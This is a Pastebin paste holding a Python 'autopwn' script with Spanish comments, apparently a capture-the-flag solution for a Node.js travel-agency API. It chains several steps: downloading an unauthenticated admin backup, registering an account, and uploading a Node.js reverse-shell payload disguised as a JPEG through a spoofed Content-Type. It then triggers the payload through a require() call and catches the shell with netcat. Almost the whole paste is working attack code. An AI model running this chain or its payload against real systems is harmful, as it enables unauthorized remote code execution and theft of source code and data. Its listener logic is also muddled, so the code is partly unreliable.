Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python3
- """
- Autopwn para CTF Asturias Viajes (Node.js + Swagger + RCE via galería)
- Uso: python3 autopwn_asturias.py <IP_OBJETIVO> <TU_IP> [PUERTO]
- Ejemplo: python3 autopwn_asturias.py 172.17.0.2 172.17.0.1 4444
- """
- import sys
- import os
- import time
- import json
- import base64
- import threading
- import subprocess
- import urllib.request
- import urllib.error
- import socket
- # ==================== CONFIGURACIÓN ====================
- TARGET = sys.argv[1] if len(sys.argv) > 1 else "172.17.0.2"
- LHOST = sys.argv[2] if len(sys.argv) > 2 else "172.17.0.1"
- LPORT = int(sys.argv[3]) if len(sys.argv) > 3 else 4444
- BASE_URL = f"http://{TARGET}:3000"
- API_URL = f"{BASE_URL}/api"
- # ==================== UTILIDADES ====================
- def log(msg, level="*"):
- """Imprime mensajes con formato."""
- symbols = {"*": "[*]", "+": "[+]", "-": "[-]", "!": "[!]"}
- print(f"{symbols.get(level, '[*]')} {msg}", flush=True)
- def http_request(url, method="GET", headers=None, data=None, timeout=15):
- """Realiza una petición HTTP y devuelve el cuerpo como string."""
- if headers is None:
- headers = {}
- if data is not None and isinstance(data, dict):
- data = json.dumps(data).encode()
- headers["Content-Type"] = "application/json"
- req = urllib.request.Request(url, data=data, headers=headers, method=method)
- try:
- with urllib.request.urlopen(req, timeout=timeout) as resp:
- return resp.read().decode(errors="replace")
- except urllib.error.HTTPError as e:
- return e.read().decode(errors="replace")
- except Exception as e:
- return f"ERROR: {e}"
- # ==================== FASE 1: RECONOCIMIENTO ====================
- def check_target():
- """Verifica que el objetivo responde."""
- log("Fase 1: Verificando objetivo...")
- out = http_request(f"{BASE_URL}/openapi.json")
- if "openapi" in out:
- log(f"Objetivo accesible: {BASE_URL}", "+")
- return True
- log("Objetivo no responde o no es la API esperada", "-")
- return False
- def get_openapi():
- """Obtiene la definición de la API."""
- log("Fase 1: Obteniendo definición de la API...")
- out = http_request(f"{BASE_URL}/openapi.json")
- try:
- spec = json.loads(out)
- paths = list(spec.get("paths", {}).keys())
- log(f"Endpoints encontrados: {len(paths)}", "+")
- for p in paths:
- log(f" - {p}")
- return spec
- except Exception as e:
- log(f"Error parseando openapi.json: {e}", "-")
- return None
- # ==================== FASE 2: DESCARGA DEL BACKUP ====================
- def download_backup():
- """Descarga el backup completo (código fuente + base de datos)."""
- log("Fase 2: Descargando backup (endpoint sin autenticación)...")
- backup_url = f"{API_URL}/admin/backup"
- out_path = "/tmp/asturias_backup.zip"
- try:
- req = urllib.request.Request(backup_url)
- with urllib.request.urlopen(req, timeout=60) as resp:
- data = resp.read()
- with open(out_path, "wb") as f:
- f.write(data)
- size_mb = len(data) / (1024 * 1024)
- log(f"Backup descargado: {out_path} ({size_mb:.2f} MB)", "+")
- return out_path
- except Exception as e:
- log(f"Error descargando backup: {e}", "-")
- return None
- def extract_backup(zip_path):
- """Extrae el backup."""
- log("Fase 2: Extrayendo backup...")
- extract_dir = "/tmp/asturias_backup"
- os.makedirs(extract_dir, exist_ok=True)
- try:
- subprocess.run(["unzip", "-o", zip_path, "-d", extract_dir],
- capture_output=True, timeout=60)
- log(f"Backup extraído en: {extract_dir}", "+")
- return extract_dir
- except Exception as e:
- log(f"Error extrayendo: {e}", "-")
- return None
- def audit_source(extract_dir):
- """Audita el código fuente buscando la vulnerabilidad RCE."""
- log("Fase 3: Auditando código fuente...")
- gallery_js = os.path.join(extract_dir, "source/src/routes/gallery.js")
- if not os.path.exists(gallery_js):
- log("No se encontró gallery.js", "-")
- return False
- with open(gallery_js) as f:
- content = f.read()
- # Verificar vulnerabilidades
- checks = {
- "ALLOWED_MIME_TYPES": "ALLOWED_MIME_TYPES" in content,
- "file.mimetype sin validar": "file.mimetype" in content,
- "require(absolutePath)": "require(absolutePath)" in content,
- "path.extname(originalname)": "path.extname(file.originalname)" in content,
- }
- for check, result in checks.items():
- log(f" {'✓' if result else '✗'} {check}")
- if all(checks.values()):
- log("Vulnerabilidad RCE confirmada en gallery.js", "+")
- return True
- return False
- # ==================== FASE 4: REGISTRO ====================
- def register_user():
- """Registra un usuario y devuelve el token JWT."""
- log("Fase 4: Registrando usuario...")
- email = f"hacker_{int(time.time())}@test.com"
- data = {
- "name": "hacker",
- "email": email,
- "password": "password123"
- }
- out = http_request(f"{API_URL}/auth/register", method="POST", data=data)
- try:
- resp = json.loads(out)
- token = resp.get("token")
- if token:
- log(f"Usuario registrado: {email}", "+")
- log(f"Token JWT obtenido: {token[:50]}...", "+")
- return token
- except Exception:
- pass
- log(f"Error en registro: {out}", "-")
- return None
- # ==================== FASE 5: PAYLOAD RCE ====================
- def build_payload(lhost, lport):
- """Genera el payload JS de reverse shell."""
- payload = f"""
- const {{spawn}}=require('child_process'),net=require('net');
- const sh=spawn('/bin/sh',[],{{stdio:'pipe'}});
- const c=new net.Socket();
- c.connect({lport},'{lhost}',()=>{{c.pipe(sh.stdin);sh.stdout.pipe(c);sh.stderr.pipe(c)}});
- c.on('error',()=>sh.kill());
- c.on('close',()=>sh.kill());
- sh.on('exit',()=>c.destroy());
- module.exports={{}};
- """
- return payload.strip()
- def upload_payload(token, payload):
- """Sube el payload como archivo .js con Content-Type falsificado."""
- log("Fase 5: Subiendo payload RCE...")
- # Guardar payload temporalmente
- payload_path = "/tmp/rev_shell.js"
- with open(payload_path, "w") as f:
- f.write(payload)
- # Construir multipart/form-data manualmente
- boundary = "----WebKitFormBoundary" + base64.b64encode(os.urandom(12)).decode()
- with open(payload_path, "rb") as f:
- file_content = f.read()
- body = b""
- body += f"--{boundary}\r\n".encode()
- body += b'Content-Disposition: form-data; name="photo"; filename="rev.js"\r\n'
- body += b"Content-Type: image/jpeg\r\n\r\n"
- body += file_content + b"\r\n"
- body += f"--{boundary}\r\n".encode()
- body += b'Content-Disposition: form-data; name="caption"\r\n\r\n'
- body += b"pwned\r\n"
- body += f"--{boundary}--\r\n".encode()
- headers = {
- "Authorization": f"Bearer {token}",
- "Content-Type": f"multipart/form-data; boundary={boundary}"
- }
- req = urllib.request.Request(
- f"{API_URL}/gallery/upload",
- data=body, headers=headers, method="POST"
- )
- try:
- with urllib.request.urlopen(req, timeout=30) as resp:
- out = resp.read().decode()
- resp_json = json.loads(out)
- photo_id = resp_json.get("photo", {}).get("id")
- filename = resp_json.get("photo", {}).get("filename")
- log(f"Payload subido: ID={photo_id}, archivo={filename}", "+")
- return photo_id
- except Exception as e:
- log(f"Error subiendo payload: {e}", "-")
- return None
- # ==================== FASE 6: TRIGGER Y LISTENER ====================
- def start_listener(lport):
- """Inicia el listener en un hilo separado."""
- log(f"Fase 6: Iniciando listener en puerto {lport}...")
- def listen():
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
- s.bind(("0.0.0.0", lport))
- s.listen(1)
- log(f"Listener activo en 0.0.0.0:{lport}", "+")
- log("Esperando conexión...")
- conn, addr = s.accept()
- log(f"¡Conexión recibida de {addr[0]}:{addr[1]}!", "+")
- log("=" * 60)
- log("SHELL INTERACTIVA (escribe comandos, Ctrl+C para salir)")
- log("=" * 60)
- # Pasar a modo interactivo
- os.system(f"nc -lvnp {lport}") # Alternativa simple
- # Usar un hilo para el listener no es trivial con nc, así que lanzamos nc
- # en una terminal separada (el usuario debe hacerlo manualmente)
- log(f"⚠️ Abre OTRA terminal y ejecuta: nc -lvnp {lport}", "!")
- log(f" Luego presiona Enter para continuar...")
- input()
- def trigger_rce(photo_id):
- """Activa el RCE visitando el endpoint."""
- log(f"Fase 6: Activando RCE (ID={photo_id})...")
- url = f"{API_URL}/gallery/{photo_id}/file"
- log(f"GET {url}")
- # Hacer la petición en un hilo para no bloquear
- def trigger():
- http_request(url, timeout=5)
- t = threading.Thread(target=trigger, daemon=True)
- t.start()
- time.sleep(1)
- log("RCE activado", "+")
- # ==================== MAIN ====================
- def main():
- print("=" * 60)
- print(f" AUTOPWN ASTURIAS VIAJES")
- print(f" Target: {TARGET}:3000 | LHOST: {LHOST}:{LPORT}")
- print("=" * 60)
- # Fase 1: Reconocimiento
- if not check_target():
- return 1
- get_openapi()
- # Fase 2: Descarga y extracción
- zip_path = download_backup()
- if not zip_path:
- return 1
- extract_dir = extract_backup(zip_path)
- if not extract_dir:
- return 1
- # Fase 3: Auditoría
- audit_source(extract_dir)
- # Fase 4: Registro
- token = register_user()
- if not token:
- return 1
- # Fase 5: Payload
- payload = build_payload(LHOST, LPORT)
- photo_id = upload_payload(token, payload)
- if not photo_id:
- return 1
- # Fase 6: Listener + Trigger
- log("=" * 60)
- log("INSTRUCCIONES FINALES:", "!")
- log(f"1. Abre OTRA terminal y ejecuta: nc -lvnp {LPORT}")
- log(f"2. Vuelve aquí y presiona Enter")
- log("=" * 60)
- input()
- trigger_rce(photo_id)
- log("RCE lanzado. Revisa la otra terminal para la shell.", "+")
- log("Si no conecta, verifica tu IP (LHOST) y que el puerto esté libre.", "!")
- return 0
- if __name__ == "__main__":
- sys.exit(main())
Add Comment
Please, Sign In to add comment